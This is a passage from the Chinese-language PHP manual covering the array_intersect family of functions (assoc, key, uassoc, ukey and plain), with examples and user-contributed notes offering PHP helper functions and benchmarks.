返回一个关联数组，该数组包含了所有在 array 和其它参数数组中同时存在的值。

更新日志

版本 | 说明
8.0.0 | 现在可以仅使用一个参数调用此函数。以前，至少需要两个参数。

示例

Example #1 array_intersect_assoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "b" => "yellow", "blue", "red");
$result_array = array_intersect_assoc($array1, $array2);
print_r($result_array);
?>

以上示例会输出：

Array
(
    [a] => green
)

上面例子中可以看到，只有键值对 "a" => "green" 在两个数组中都存在，从而被返回。 值 "red" 没有被返回，是因为在 $array1 中它的键名是 0 而在 $array2 中 "red" 的键名是 1，键 "b" 没有返回的原因是，它的值和其他数组不同。

仅在 (string) $elem1 === (string) $elem2 时， key => value 才被认为是相等的。 也就是说使用了严格的类型检查，字符串的表达形式必须相同。

参见

  • array_intersect() - 计算数组的交集
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引
  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集

User Contributed Notes

Jim Yaghi 23-May-2017 06:25
Remember, null values will be interpreted as, "key does not exist." eg,

$a = ['apples' => 1, 'oranges' => 2, 'turtles' => null, 'bananas'=>4];
$b = ['apples'=>10, 'turtles' => 11, 'eggs'=>12];
$c = array_intersect_assoc($b,$a);

You might have expected $c to contain:

['oranges' => 10, 'turtles' => 11]

In fact, 'turtles' has a null value in the $a array, therefore the $c array contains only:

['oranges' => 10]

Something to keep in mind if using array_intersect_assoc to filter valid entries, eg in a mySQL insertion pre-processing or nerdy API that doesn't like extra params.
Whitend 04-Aug-2012 08:08
One of the ways to get intersection of two arrays is as follows:

<?php
function arrayIntersect( $primary_array, $secondary_array ) {

    if ( !is_array( $primary_array ) || !is_array( $secondary_array ) ) {
        return false;
    }

    if ( !empty( $primary_array ) ) {

        foreach( $primary_array as $key => $value ) {

            if ( !isset( $secondary_array[$key] ) ) {
                unset( $primary_array[$key] );
            } else {
                if ( serialize( $secondary_array[$key] ) != serialize( $value ) ) {
                    unset( $primary_array[$key] );
                }
            }

        }

        return $primary_array;

    } else {
        return array();
    }

}
?>

It would pay attention to both keys and values even if values would be arrays as well. One important note is that if value of $primary_array is yet another array, its order of key & value pairs becomes important for matching.
StR: str at strgt dot cjb dot net 13-Oct-2005 05:34
To find the keys that are in 2 arrays, without caring of the values:

This is a function i needed, and it also returns the values of the first array

<?php
function array_key_intersect(&$a, &$b) {
  $array = array();
  while (list($key,$value) = each($a)) {
    if (isset($b[$key]))
      $array[$key] = $value;
  }
  return $array;
}
?>
vandor at progressive dot hu 14-Dec-2004 11:26
# ket tomb kulcs alapu metszetet szamitja ki, az erteken is ellenorzest vegez
#
# calculating (key base) intersection of arrays (value are checked)
# use: $result_array = array_intersect_assoc($a1, $a2, $a3,..);
#
##
# original code by [jochem at iamjochem dawt com] : array_diff_keys()

<?php
function array_intersect_assoc() {

    $args = func_get_args();
    $res = $args[0];

    for ($i=1;$i<count($args);$i++) {
        if (!is_array($args[$i])) {continue;}

        foreach ($res as $key => $data) {
            if ( (!array_key_exists($key, $args[$i])) || ( (isset($args[$i][$key])) && ($args[$i][$key] !== $res[$key]) ) ) {
                unset($res[$key]);
            }
        }
    }

    return $res;
}

?>

<?php
$array1 = array("a"=>"green", "b"=>"brown", "c"=>"blue", "red");
$array2 = array("a"=>"green", "b"=>"yellow", "c"=>"yellow", "red");
$a = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow');
$b = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow', 'e'=>'yellow');

$result_array = array_intersect_assoc($a, $b, $array1, $array2);
?>

$args array will look like:

(
    0 =>
        (
            a => green
            b => brown
            c => yellow
        )

    1 =>
        (
            a => green
            b => brown
            c => yellow
            e => yellow
        )

    2 =>
        (
            a => green
            b => brown
            c => blue
            0 => red
        )

    3 =>
        (
            a => green
            b => yellow
            c => yellow
            0 => red
        )

)

$result_array will look like:

(
    a => green
)


使用键名比较计算数组的交集

  • ? array_intersect_assoc
  • array_intersect_uassoc ?
  • PHP Manual
  • 数组 函数
  • 使用键名比较计算数组的交集

array_intersect_key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_intersect_key — 使用键名比较计算数组的交集

说明

array_intersect_key(array $array, array ...$arrays): array

array_intersect_key() 返回一个数组，该数组包含了所有出现在 array 和其它参数数组中同时存在的键名的值。

参数

array

要检查的数组，作为主值。

arrays

要被对比的数组。

返回值

返回一个关联数组，该数组包含了所有出现在 array 和其它参数数组中同时存在的键名的值。

更新日志

版本 | 说明
8.0.0 | 现在可以仅使用一个参数调用此函数。以前，至少需要两个参数。

示例

Example #1 array_intersect_key() 例子

<?php
$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8);

var_dump(array_intersect_key($array1, $array2));
?>

以上示例会输出：

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

上例中可以看到，只有 'blue' 和 'green' 两个键名同时出现在两个数组中，因此被返回。另外注意 'blue' 和 'green' 的值在两个数组中是不同的。但因为只检查键名，因此还是匹配。返回的只是 array 中的值。

在 key => value 对中的两个键名仅在 (string) $key1 === (string) $key2 时才被认为相等。换句话说，执行了严格的类型检查，因此字符串的表达形式必须相同。

参见

  • array_diff() - 计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_diff_key() - 使用键名比较计算数组的差集
  • array_diff_ukey() - 用回调函数对键名比较计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_ukey() - 在键名上使用回调函数来比较计算数组的交集

User Contributed Notes

Anonymous 19-Aug-2021 11:38
Note that the order of the keys in the returned array is the same as the order of the keys in the source array.

To sort by the second array, then you may do so through array_replace.

<?php
$array = array(
    'two'   => 'a',
    'three' => 'b',
    'one'   => 'c',
    );

$keyswant = array(
    'one'       => '',
    'three'     => '',
    );

print_r(array_intersect_key(array_replace($keyswant, $array), $keyswant));

?>

Shows:

Array
(
    [one] => c
    [three] => b
)

Rather than:

Array
(
    [three] => b
    [one] => c
)
Reed Silver 02-Mar-2015 11:38
If you want an array that has no key value pairs added from the second array:

$new = array_intersect_key($b, $a) + $a;
github.com/xmarcos 12-May-2014 05:47
[Editor's note: changed array_merge_recursive() to array_replace_recursive() to fix the script]

Here is a better way to merge settings using some defaults as a whitelist.

<?php

$defaults = [
    'id'            => 123456,
    'client_id'     => null,
    'client_secret' => null,
    'options'       => [
        'trusted' => false,
        'active'  => false
    ]
];

$options = [
    'client_id'       => 789,
    'client_secret'   => '5ebe2294ecd0e0f08eab7690d2a6ee69',
    'client_password' => '5f4dcc3b5aa765d61d8327deb882cf99', // ignored
    'client_name'     => 'IGNORED',                          // ignored
    'options'         => [
        'active' => true
    ]
];

var_dump(
    array_replace_recursive($defaults,
        array_intersect_key(
            $options, $defaults
        )
    )
);

?>

Output:

array (size=4)
    'id'            => int 123456
    'client_id'     => int 789
    'client_secret' => string '5ebe2294ecd0e0f08eab7690d2a6ee69' (length=32)
    'options'       =>
        array (size=2)
            'trusted' => boolean false
            'active'  => boolean true
pixelf3hler at visualize-me dot de 28-Sep-2013 08:08
in case you came here looking for a function that returns an array containing the values of `all` arrays with intersecting keys:
<?php
   function array_merge_on_key($key, $array1, $array2) {
      $arrays = array_slice(func_get_args(), 1);
      $r = array();
      foreach($arrays as &$a) {
         if(array_key_exists($key, $a)) {
            $r[] = $a[$key];
            continue;
         }
      }
      return $r;
   }
   // example:
   $array1 = array("id" => 12, "name" => "Karl");
   $array2 = array("id" => 4, "name" => "Franz");
   $array3 = array("id" => 9, "name" => "Helmut");
   $array4 = array("id" => 10, "name" => "Kurt");

   $result = array_merge_on_key("id", $array1, $array2, $array3, $array4);

   echo implode(",", $result); // => 12,4,9,10
?>
vladas dot dirzys at gmail dot com 13-Aug-2012 08:03
Simple key white-list filter:

<?php
$arr = array('a' => 123, 'b' => 213, 'c' => 321);
$allowed = array('b', 'c');

print_r(array_intersect_key($arr, array_flip($allowed)));
?>

Will return:
Array
(
    [b] => 213
    [c] => 321
)
pgl at yoyo dot org 18-Jul-2011 08:01
Note that the order of the keys in the returned array is the same as the order of the keys in the source array. eg:

<?php
$array = array(
    'two'   => 'a',
    'three' => 'b',
    'one'   => 'c',
    );

$keyswant = array(
    'one'       => '',
    'three'     => '',
    );

print_r(array_intersect_key($array, $keyswant));

?>

Shows:

Array
(
    [three] => b
    [one] => c
)
chrisbloom7 at gmail dot com 11-Nov-2009 10:23
Regarding php at keithtylerdotcom solution to emulate

<?php
$z = someFuncReturningAnArray()['some_key'];
?>

His recommended solution will still return an array. To get the value of a single key in an array returned by a function, simply add implode() to the recipe:

<?php
function someFuncReturningAnArray() {
  return array(
    'a' => 'b',
    'c' => 'd',
    'e' => 'f',
    'g' => 'h',
    'i' => 'j'
  );
}

//traditional way
$temp = someFuncReturningAnArray();
$b = $temp['a'];
echo print_r($b, 1) . "\n----------\n";

//keithtylerdotcom one-line method
$b = array_intersect_key(someFuncReturningAnArray(), array('a'=>''));
echo print_r($b, 1) . "\n----------\n";

//better one line method
$b = implode('', array_intersect_key(someFuncReturningAnArray(), array('a'=>'')));
echo print_r($b, 1) . "\n----------\n";
?>
markus dot kappe at dix dot at 24-Sep-2009 04:43
<?php
    /**
     * calculates intersection of two arrays like array_intersect_key but recursive
     *
     * @param  array/mixed  master array
     * @param  array        array that has the keys which should be kept in the master array
     * @return array/mixed  cleand master array
     */
    function myIntersect($master, $mask) {
        if (!is_array($master)) { return $master; }
        foreach ($master as $k=>$v) {
            if (!isset($mask[$k])) { unset ($master[$k]); continue; } // remove value from $master if the key is not present in $mask
            if (is_array($mask[$k])) { $master[$k] = $this->myIntersect($master[$k], $mask[$k]); } // recurse when mask is an array
            // else simply keep value
        }
        return $master;
    }
?>
pdemaziere at gmail dot com 23-Feb-2009 07:52
Just a simple script if you want to use one array, which contains only zeros and ones, as mask for another one (both arrays must have the same size of course). $outcome is an array that contains only those values from $source where $mask is equal to 1.

<?php
$outcome = array_values(array_intersect_key( array_values($source), array_filter(array_values($mask)) ));
?>

PS: the array_values() function is necessary to ensure that both arrays have the same numbering/keys, otherwise your masking does not behave as you expect.

Enjoy!
CBWhiz at gmail dot com 04-Jan-2008 02:04
I have found the following helpful:
<?PHP
function array_merge_default($default, $data) {
        $intersect = array_intersect_key($data, $default); //Get data for which a default exists
        $diff = array_diff_key($default, $data); //Get defaults which are not present in data
        return $diff + $intersect; //Arrays have different keys, return the union of the two
}
?>
It's use is like both of the functions it uses, but keeps defaults and _only_ defaults. It's designed for key arrays, and i'm not sure how it will work on numeric indexed arrays.

Example:
<?PHP
$default = array(
 "one" => 1,
 "two" => 2
);
$untrusted = array(
 "one" => 42,
 "three" => 3
);
var_dump(array_merge_default($default, $untrusted));

array(2) {
  ["two"]=>
  int(2)
  ["one"]=>
  int(42)
}

?>
Anton Backer 30-Mar-2006 11:49
Jesse: no, array_intersect_key does not accomplish the same thing as what you posted:

array_flip (array_intersect (array_flip ($a), array_flip ($b)))

because when the array is flipped, values become keys. having duplicate values is not a problem, but having duplicate keys is. array_flip resolves it by keeping only one of the duplicates and discarding the rest. by the time you start intersecting, you've already lost information.


带索引检查计算数组的交集，用回调函数比较索引

  • ? array_intersect_key
  • array_intersect_ukey ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的交集，用回调函数比较索引

array_intersect_uassoc

(PHP 5, PHP 7, PHP 8)

array_intersect_uassoc — 带索引检查计算数组的交集，用回调函数比较索引

说明

array_intersect_uassoc(array $array, array ...$arrays, callable $key_compare_func): array

array_intersect_uassoc() 返回一个数组，该数组包含了所有在 array 和其它参数数组中同时存在的值。注意和 array_intersect() 不同的是，键名也用于比较。

参数

array

用于数组比较的初始数组。

arrays

用于比较键的数组。

key_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

返回 array 的值，这些值同时存在于其它参数数组中。

示例

Example #1 array_intersect_uassoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_intersect_uassoc($array1, $array2, "strcasecmp"));
?>

以上示例会输出：

Array
(
    [b] => brown
)

参见

  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引
  • array_intersect_key() - 使用键名比较计算数组的交集
  • array_intersect_ukey() - 在键名上使用回调函数来比较计算数组的交集

User Contributed Notes

There are no user contributed notes for this page.


在键名上使用回调函数来比较计算数组的交集

  • ? array_intersect_uassoc
  • array_intersect ?
  • PHP Manual
  • 数组 函数
  • 在键名上使用回调函数来比较计算数组的交集

array_intersect_ukey

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_intersect_ukey — 在键名上使用回调函数来比较计算数组的交集

说明

array_intersect_ukey(array $array, array ...$arrays, callable $key_compare_func): array

array_intersect_ukey() 返回一个数组，该数组包含了所有在 array 和其它参数数组中同时存在的键名的值。

参数

array

用于数组比较的初始数组。

arrays

用于比较键的数组。

key_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

返回 array 的值，其键名同时存在于所有参数数组中。

示例

Example #1 array_intersect_ukey() 例子

<?php
function key_compare_func($key1, $key2)
{
if ($key1 == $key2)
return 0;
else if ($key1 > $key2)
return 1;
else
return -1;
}

$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8);

var_dump(array_intersect_ukey($array1, $array2, 'key_compare_func'));
?>

以上示例会输出：

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

上例中可以看到，只有 'blue' 和 'green' 两个键名出现在两个数组中，因此被返回。另外注意 'blue' 和 'green' 的值在两个数组中是不同的。但因为只检查键名，因此还是匹配。返回的是 array 中的值。

参见

  • array_diff() - 计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_diff_key() - 使用键名比较计算数组的差集
  • array_diff_ukey() - 用回调函数对键名比较计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_key() - 使用键名比较计算数组的交集

User Contributed Notes

gk at anuary dot com 30-Sep-2013 04:52
"array_intersect_ukey" will not work if $key_compare_func is using regular expression to perform comparison. "_array_intersect_ukey" fully implements the "array_intersect_ukey" interface and handles properly boolean comparison. However, the native implementation should be preferred for efficiency reasons.

<?php
$key_compare_func = function ($a, $b) {
    var_dump('a=' . $a. '; b=' . $b);

    if (strpos($b, '/') === 0) {
        return preg_match($b, $a) > 0 ? 0 : -1;
    }

    if ($a == $b) {
        $weight = 0;
    } else if ($a > $b) {
        $weight = 1;
    } else {
        $weight = -1;
    }

    var_dump('literal comparison: ' . $weight);

    return $weight;
};

$foo = ['aab' => '', 'bbb' => '', 'ccb' => '', 'abb' => ''];
$bar = ['/[a-z]b[a-z]/' => ''];
$buz = ['/c[a-z][a-z]/' => ''];

echo PHP_EOL . 'array_intersect_ukey' . PHP_EOL . PHP_EOL;

$subject = array_intersect_ukey ($foo, $bar, $buz, $key_compare_func);

echo PHP_EOL;

var_dump($subject);

echo PHP_EOL . '_array_intersect_ukey' . PHP_EOL . PHP_EOL;

$subject = _array_intersect_ukey($foo, $bar, $buz, $key_compare_func);

echo PHP_EOL;

var_dump($subject);

/**
 * @author Gajus Kuizinas <gk@anuary.com>
 * @version 1.0.0 (2013 09 30)
 * @url https://gist.github.com/gajus/271ad5f36337a32a184c
 */
function _array_intersect_ukey (array $arr1, array $arr2, $key_compare_func) {
    $arr_matched = [];
    $arr_unmatched = [];

    $args = func_get_args();

    $key_compare_func = end($args);

    foreach ($arr1 as $k1 => $v1) {
        foreach ($arr2 as $k2 => $v2) {
            $diff = $key_compare_func($k1, $k2);

            //var_dump('k1=' . $k1 . ', k2=' . $k2 . ', diff=' . $diff);

            if ($diff === 0) {
                $arr_matched[$k1] = $v1;
            } else {
                $arr_unmatched[$k1] = $v1;
            }
        }
    }

    if (count($args) <= 3) {
        return $arr_matched;
    }

    array_splice($args, 0, 2, [$arr_unmatched]);

    return array_merge($arr_matched, call_user_func_array('_array_intersect_ukey', $args));
}

/*
array_intersect_ukey

string(12) "a=bbb; b=aab"
string(21) "literal comparison: 1"
string(12) "a=bbb; b=ccb"
string(22) "literal comparison: -1"
string(12) "a=abb; b=bbb"
string(22) "literal comparison: -1"
string(12) "a=aab; b=abb"
string(22) "literal comparison: -1"
string(22) "a=aab; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/c[a-z][a-z]/"

array(0) {
}

_array_intersect_ukey

string(22) "a=aab; b=/[a-z]b[a-z]/"
string(22) "a=bbb; b=/[a-z]b[a-z]/"
string(22) "a=ccb; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/[a-z]b[a-z]/"
string(22) "a=aab; b=/c[a-z][a-z]/"
string(22) "a=ccb; b=/c[a-z][a-z]/"

array(3) {
  ["bbb"]=>
  string(0) ""
  ["abb"]=>
  string(0) ""
  ["ccb"]=>
  string(0) ""
}*/
?>


计算数组的交集

  • ? array_intersect_ukey
  • array_is_list ?
  • PHP Manual
  • 数组 函数
  • 计算数组的交集

array_intersect

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

array_intersect — 计算数组的交集

说明

array_intersect(array $array, array ...$arrays): array

array_intersect() 返回一个数组，该数组包含了所有在 array 和其它参数数组中同时存在的值。注意，键名保留不变。

参数

array

要检查的数组，作为主值。

arrays

要被对比的数组。

返回值

返回一个数组，该数组包含了所有在 array 和其它参数数组中同时存在的值。

更新日志

版本 | 说明
8.0.0 | 现在可以仅使用一个参数调用此函数。以前，至少需要两个参数。

示例

Example #1 array_intersect() 例子

<?php
$array1 = array("a" => "green", "red", "blue");
$array2 = array("b" => "green", "yellow", "red");
$result = array_intersect($array1, $array2);
print_r($result);
?>

以上示例会输出：

Array
(
    [a] => green
    [0] => red
)

注释

Note: 两个单元仅在 (string) $elem1 === (string) $elem2 时被认为是相同的。也就是说：当字符串的表达形式相同时。

参见

  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集

User Contributed Notes

theking at king dot ma 09-May-2022 05:44
I use array_intersect for a quick check of $_GET parameters;

<?php declare(strict_types=1)

$_params = ['cust_id','prod_id'];
$_params_check = array_intersect(array_keys($_GET),$_params);
if(count($_params_check) !== count($_params)) {
    header("HTTP/1.1 400 Bad Request");
    die();
}
?>

the file will die with a 400 error if cust_id or prod_id or both are missing from $_GET. But i could be used on $_POST and $_REQUEST as  well obviously.
Anonymous 25-Jan-2021 01:52
array_intersect             use Value, not callback
array_uintersect            use Value, callback receives Value
array_intersect_key         use Key, not callback
array_intersect_ukey        use Key, callback receives Key
array_intersect_assoc       use Both, not callback
array_intersect_uassoc      use Both, callback receives Key ONLY
array_uintersect_assoc      use Both, callback receives Value ONLY
array_uintersect_uassoc     use Both, One callback receives the Key, the other receives the Value.
Ehsan.Chavoshi.com 22-Jun-2019 05:15
I wrote this function to recursively replace array keys with array values (flip) and fill values with defined value. it can be used for recursive array intersect functions .

<?php
function array_values_to_keys_r($array, $fill_value = null)
{
    $flipped = [];
    foreach ($array as $key => $value) {
        if (is_array($value)) {
            $flipped [$key] = array_values_to_keys_r($value);
        } else {
            $flipped [$value] = $fill_value;
        }
    }
    return $flipped;
}
?>
zoolyka at gmail dot com 06-Oct-2018 07:38
If you have to intersect arrays of unique values then using array_intersect_key is about 20 times faster, just have to flip the key value pairs of the arrays, then flip the result again.

<?php

$one = range(1, 250000);
$two = range(50000, 150000);

$start = microtime(true);

$intersection = array_intersect($one, $two);

echo "Did it in ".( microtime(true) - $start )." seconds.\n";

$start = microtime(true);

$intersection = array_flip(array_intersect_key(array_flip($one), array_flip($two)));

echo "Did it in ".( microtime(true) - $start )." seconds.\n";

?>

Did it in 0.89163708686829 seconds.
Did it in 0.038213968276978 seconds.
ram 23-Aug-2018 10:08
$x = array('ram@hb.in', 'ram', 'rams@hb.in');
    $y = array('1231231231');
    $result=array_intersect($x,$z);
    $res = array_intersect($y, $z);
jake 31-Jan-2017 08:42
Also note that, even without the availability of the strict mode switch, false does not match 0:

array_intersect([false], [0]) == [];

Even in PHP 7.1
matang dot dave at gmail dot com 17-Jun-2015 02:34
Take care of value types while using array_intersect function as there is no option for strict type check as in in_array function.

$array1 = array(true,2);
$array2 = array(1, 2, 3, 4, 5, 6);

var_dump(array_intersect($array1, $array2));

result is :
array(2) {
        [0] =>  bool(true)
        [1]  =>  int(2)
}
info at iridsystem dot it 21-May-2015 06:16
This function is able to sort an array based on another array that contains the order of occurrence. The values that are not present will be transferred into the end of the resultant.
Questa funzione permette di ordinare i valori di un array ($tosort) basandosi sui valori contenuti in un secondo array ($base), i valori non trovati verranno posizionati alla fine dell'ordinamento senza un'ordine specifico.

<?
$base= array('one', 'two', 'three');

$tosort= array('a'=>'two', 'b'=>'three', 'c'=>'five', 'd'=>'one', 'and'=>'four', 'f'=>'one');

uasort($tosort, function($key1, $key2) use ($base) {
  $a1=array_search($key1, $base);
  $a2=array_search($key2, $base);

  if ( $a1===false && $a2===false ) { return 0; }
  else if ( $a1===false && $a2 !== false) { return 1; }
  else if ( $a1!==false && $a2 === false) {return -1;}

  if( $a1 > $a2 ) { return 1; }
  else if ( $a1 < $a2 ) { return -1; }
  else if ( $a1 == $a2 ) { return 0; }
});
var_dump($tosort);
/*
the resulting of $tosort
array
  'd' => string 'one' (length=3)
  'f' => string 'one' (length=3)
  'a' => string 'two' (length=3)
  'b' => string 'three' (length=3)
  'c' => string 'five' (length=6)
  'e' => string 'four' (length=7)
*/
Gabriel
?>
yuval at visualdomains dot com 17-May-2015 01:17
Using isset to achieve this, is many times faster:

<?php

 $m = range(1,1000000);
  $s = [2,4,6,8,10];

// Use array_intersect to return all $m values that are also in $s
  $tstart = microtime(true);
  print_r (array_intersect($m,$s));
  $tend = microtime(true);
  $time = $tend - $tstart;
  echo "Took $time";

 // Use array_flip and isset to return all $m values that are also in $s
  $tstart = microtime(true);
  $f = array_flip($s);
/* $f now looks like this:
(
    [2] => 0
    [4] => 1
    [6] => 2
    [8] => 3
    [10] => 4
)
*/
// $u will hold the intersected values
  $u = [];
  foreach ($m as $v) {
    if (isset($f[$v])) $u[] = $v;
  }
  print_r ($u);
   $tend = microtime(true);
  $time = $tend - $tstart;
  echo "Took $time";
?>

Results:

Array
(
    [1] => 2
    [3] => 4
    [5] => 6
    [7] => 8
    [9] => 10
)
Took 4.7170009613037
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)
Took 0.056024074554443

array_intersect: 4.717
array_flip+isset: 0.056
meihao at 126 dot com 21-Nov-2013 08:56
<?php
$a=array(1,2,'3',4);
$b=array('1',2,3);

var_dump($a,$b);

result:
array (size=3)
  0 => int 1
  1 => int 2
  2 => string '3' (length=1)

?>
Mike Block 04-Mar-2013 09:27
I bench-marked some uses of array_intersect and can't believe how slow it is. This isn't as elaborate, but handles most cases and is much faster:

<?php
/**
examines two arrays and returns the intersected arrays with matching keys (ignores duplicate keys)
*/
function simple_array_intersect($a,$b) {
    $a_assoc = $a != array_values($a);
    $b_assoc = $b != array_values($b);
    $ak = $a_assoc ? array_keys($a) : $a;
    $bk = $b_assoc ? array_keys($b) : $b;
    $out = array();
    for ($i=0;$i<sizeof($ak);$i++) {
        if (in_array($ak[$i],$bk)) {
            if ($a_assoc) {
                $out[$ak[$i]] = $a[$ak[$i]];
            } else {
                $out[] = $ak[$i];
            }
        }
    }
    return $out;
}

?>

You can try this out with this:

<?php
// create a large array (simple)
$first = array();
for ($i=500;$i<500000;$i++) {
    $first[] = $i;
}
// create a smaller array (associative)
$second = array();
for ($i=499990;$i<500000;$i++) {
    $second[$i] = rand();
}
echo microtime(true)."\n";
// built-in function
print_r(array_intersect($first,$second));
echo microtime(true)."\n";
// favour simple array as match
print_r(simple_array_intersect($first,$second));
echo microtime(true)."\n";
// favour associative keys for match
print_r(simple_array_intersect($second,$first));
echo microtime(true)."\n";

?>
caffinated 10-Nov-2012 12:13
If you're looking for a relatively easy way to strictly intersect keys and values recursively without array key reordering, here's a simple recursive function:

<?php
function array_intersect_recursive($array1, $array2)
{
  foreach($array1 as $key => $value)
  {
    if (!isset($array2[$key]))
    {
      unset($array1[$key]);
    }
    else
    {
      if (is_array($array1[$key]))
      {
        $array1[$key] = array_intersect_recursive($array1[$key], $array2[$key]);
      }
      elseif ($array2[$key] !== $value)
      {
        unset($array1[$key]);
      }
    }
  }
  return $array1;
}
?>
dml at nm dot ru 20-May-2011 05:06
The built-in function returns wrong result when input arrays have duplicate values.
Here is a code that works correctly:

<?php
function array_intersect_fixed($array1, $array2) {
    $result = array();
    foreach ($array1 as $val) {
      if (($key = array_search($val, $array2, TRUE))!==false) {
         $result[] = $val;
         unset($array2[$key]);
      }
    }
    return $result;
}
?>
Yohann 12-Apr-2010 04:36
I used array_intersect in order to sort an array arbitrarly:

<?php
$a = array('one', 'two', 'three', 'four', 'five', 'six', 'seven', 'height', 'nine', 'ten');
$b = array('four', 'one', 'height', 'five')
var_dump(array_intersect($a, $b);
?>

will output:

0 => 'one'
1 => 'four'
2 => 'five'
3 => 'height'

i hope this can help...
189780 at gmail dot com 02-Jan-2010 07:26
Actually array_intersect finds the dublicate values, here is my approach which is 5 times faster than built-in function array_intersect().. Give a try..

<?php
function my_array_intersect($a,$b)
{
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$a[$i];
        }
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$b[$i];
        }
        sort($m);
        $get=array();
        for($i=0;$i<sizeof($m);$i++)
        {
                if($m[$i]==$m[$i+1])
                $get[]=$m[$i];
        }
        return $get;
}
?>

Bar?? ?UHADAR
189780@gmail.com
Shawn Pyle 13-Aug-2009 09:29
array_intersect handles duplicate items in arrays differently. If there are duplicates in the first array, all matching duplicates will be returned. If there are duplicates in any of the subsequent arrays they will not be returned.

<?php
array_intersect(array(1,2,2),array(1,2,3)); //=> array(1,2,2)
array_intersect(array(1,2,3),array(1,2,2)); //=> array(1,2)
?>
gary 21-Jun-2009 12:57
i wrote this one to get over the problem i found in getting strings intersected instead of arrays as there is no function in php.

<?php
function matched_main_numbers($string, $string2)
{
$string = "04 16 17 20 29";
$arr1 = explode(" ", $string);

$string2 = "45 34 04 29 16";
$arr2 = explode(" ", $string2);

$array = array_intersect($arr1, $arr2);
$comma_separated = implode($array);

$str = $comma_separated;

$balls = "$comma_separated";
$matched_balls = chunk_split($balls,2," ");
$matched_balls =" $matched_balls";

$number_of_matched_main_balls = strlen($str);
$number_of_matched_main_balls = ($number_of_matched_main_balls/2);
$numbers = "You matched $number_of_matched_main_balls main balls";

return $numbers;

}
?>
Oto Brglez 10-Mar-2009 07:02
If you wish to create intersection with arrays that are empty. Than the result of intersection is empty array.

If you wish to change this. I sugest that you do this.
It simply "ignores" empty arrays. Before loop use 1st array.

<?php

$a = array();
$a[] = 1;
$a[] = 2;
$a[] = 3;

$b = array();
$b[] = 4;
$b[] = 5;
$b[] = 1;

$c = array();
$c[] = 1;
$c[] = 5;
$d = array();

$kb=array('a','b','c','d');

$out = $a;
foreach($kb as $k){
    if(!empty(${$k})) $out = array_intersect($out,${$k});
};
print_r($out);
// The result is array

// The result is empty array
print_r(array_intersect($a,$b,$c,$d));

?>
karl at libsyn dot com 30-Jan-2009 09:58
Given a multidimensional array that represents AND/OR relationships (example below), you can use a recursive function with array_intersect() to see if another array matches that set of relationships.

For example: array( array( 'red' ), array( 'white', 'blue' ) ) represents "red OR ( white AND blue )".  array( 'red', array( 'white', 'blue' ) ) would work, too, BTW.

If I have array( 'red' ) and I want to see if it matches the AND/OR array, I use the following function.  It returns the matched array,
but can just return a boolean if that's all you need:

<?php
$needle = array( array( 'red' ), array( 'white', 'blue' ) );
$haystack = array( 'red' );

